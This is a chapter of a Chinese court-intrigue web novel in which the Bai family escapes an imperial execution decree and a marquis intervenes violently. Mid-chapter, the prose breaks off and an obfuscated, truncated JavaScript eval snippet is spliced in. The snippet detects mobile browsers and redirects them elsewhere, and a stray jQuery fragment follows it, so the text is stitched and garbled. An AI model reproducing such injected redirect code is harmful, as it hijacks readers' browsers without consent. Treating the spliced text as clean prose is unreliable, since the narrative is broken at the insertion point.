羌莜怜嫁过去没多久,赵智很快坐上了皇位,又娶了方家的长女为贵妃。前者坐上皇后的位置,后者坐上了贵妃的位置。
“新一任的赵皇好生厉害,左右都是四大家族之一的。真是青出于蓝胜于蓝!”
“确实手段了得,本来以为是大殿下为太子,一下就变成六殿下上位了。”
“一个不起眼的废物皇子,竟能杀出重围,手段了得啊!”
若相见酒楼坐满不少客人,他们大声谈论。
谈论间,几个熟悉的身影自他们身后路过。
若有人仔细看,才会认出一男一女分别是何人。
周围熙熙攘攘,赵霄不在后,也不知道现在的酒楼交由谁打理了。
直到进入厢房,身影才消失。
“父亲,我们来此所为何事?”
白静语左右查看廊道,而后紧闭房门。
白啸叹了口气,“白府外被人监视了,我们的谈话内容不宜出现在府内,唯恐别人听取。”
话毕,白静语沉吟片刻,她来回思索,脱口而出:“父亲,您怀疑是?”
答案在嘴边呼之欲出。
白啸望着她,点了点头。
白静语的眸底闪过一丝惊讶。
二人默契地意识到心里想的那个人。
“父亲,女儿不理解,这到底是为什么?我们两家之间无冤无仇,那人这样做的目的是什么?”
“我也不清楚,需要点时间才能弄清楚。”
就在此时,厢房门外响起一道声音。
“客官,可有什么需求?”
伴随着说话的声音,又响起几声有规律的敲门声。
白啸惊觉,起身前去拉开门。
门外的男子着一身店小二的衣裳,眉开眼笑的看着给他开门的人。
“进来吧。”
白啸给对方让了一个进来的位置,门再次被关上。
“白医,不好了!”男子卸下笑意的面容,直奔主题,“有消息传来,有人此刻正拿着陛下盖有的印证手谕赶往白府。”
白静语立马坐不住了,起身询问:“可知那上面的内容是什么吗?”
男子神色凝重,说出的一字一句令在场的二人脸色剧变。
“满门抄斩。”
“我要回去——”
白静语话还没说完,转身就要拉门踏出厢房。
白啸见机,赶在她有所动作前阻止了她。
“不可,现下前去不仅帮不上忙,还会暴露我们的行踪。”
闻言,白静语停下动作,她僵硬地扭头看着白啸,仿佛在问“那怎么办”。
一旁的男子突然开口:“白医,白大小姐,你们不用担心。谢某有办法,不过,我只能救一人。”
救一人,救谁?男子心里已有答案,可他还是等待另外两个人的回答。
“小芷。”
“那母亲呢?”
白静语追问。
白啸强忍痛苦的心情,依旧回答“救小芷”三个字。
他并非不想救白氏还有其他族人,可眼下情况紧急,加上之前白芷敛出生前,他承诺以后若是出事,务必先救他们的女儿。
他与白氏自年幼相识,恩爱夫妻岁岁年,走到如今的地步,如濒临般痛不欲生。
得到白啸的肯定,男子即刻消失在厢房内,留有两人在原地。
白静语一时哑口无言,她无法描述自己此刻的心情。
“我们也赶紧出城,离开这里,到别处暂避风头。”
白啸背对着她,踏脚就要出门。
“父亲此举,可是想到别的方法救母亲和族人了?”白静语拦下他,似下定决心继续说,“不论有或是没有,恳请父亲能陪同女儿回去看一下,就当作是离别了。”
面对白静语的话,白啸没有出声,许是默认。
他们乔装路过的街坊,跟在人群悄无声息地挪步到白府后门。
没等他们藏好自己,就听到不远处传来雄厚的中年声音。
“你们是什么人?天子脚下,怎敢如此放肆闯入白府?”
声音的主人站出来,挡在妇人的身前。
“今日是白家的死期,你以为你是谁?还敢这么嚣张!”
一位军士不惧男人的话语,嚣张跋扈地推搡男人。奈何男人力气之大,军士自己先倒了。
军士自知自己丢了脸面,拉过没人护的侍女,当场就要剥了她的衣裳以泄怒意。
“不要——”
侍女哭泣的声音响
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050351|190861||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彻整座府邸。
“放开她。”
一柄长剑抵在军士的脖颈,冰冷的声音盖过侍女的哭泣声。
军士松开拉扯侍女的手,僵硬地扭头朝长剑的主人看去。
见到来的人是羌川括,他秒变脸,颤颤巍巍地双手投降,半屈着身子谄媚道:“小的有眼不识泰山,竟不知来者是羌侯爷!您大人有大量,就放过小的吧!”
谁人不知羌川括乃当今皇后娘娘的亲弟弟,和皇族贵胄沾上关系。
军士以为自己的求饶会得到对方的宽恕,不料下一秒,自己的双手四肢失去了知觉,瞪大眼珠子倒在地上。
深红的鲜血自脖颈大片大片地流了出来,染红地面。
为首持着手谕的军士下意识皱眉,不悦道:“侯爷,今日我们是奉旨前来的,您这样做是要违抗圣旨吗?”
羌川括冷笑,眉眼带有杀气望去,不带一点感情回道:“违抗圣旨?说这话的人心里可有半分心虚?”
他的这句话,一下堵住“心虚”的悠悠众口。
半晌,持手谕军士顶着羌川括的压力,往下说:“奉赵皇令,今日白府的所有人,一律押回牢狱,择日抄斩。”
随着他的话,身后的军士碍于被杀军士的前科,全都按班就部押送一个又一个的人上牢笼。
等到全部人都空了,为首的军士发现漏了几个人。
“不对劲,少了人。”
他的话引得其他人左顾右盼的。
“白啸和他的两名女儿。”
羌川括听到他们的对话,冰冷的面孔一闪而过变得缓和下来。
“那怎么办?”
一名军士询问道。
“不着急,这不白府夫人在这里吗?回去好好''问候''就知道了。”
军士扬起意味不明的笑意,而后扬长离去。
羌川括循着刚才军士的话,看见白氏在牢笼里,愣了一下。
“希望你赶紧离开,不要被抓到。”
他上了马背,余光一直停留在燃着火光的白府那,直至它彻底消失在自己的视线中。
羌川括心知自己恐怕再也见不到她了,好在,他情愿自己永远见不到她。
若是日后能遇到心仪的人,也请不要忘记我。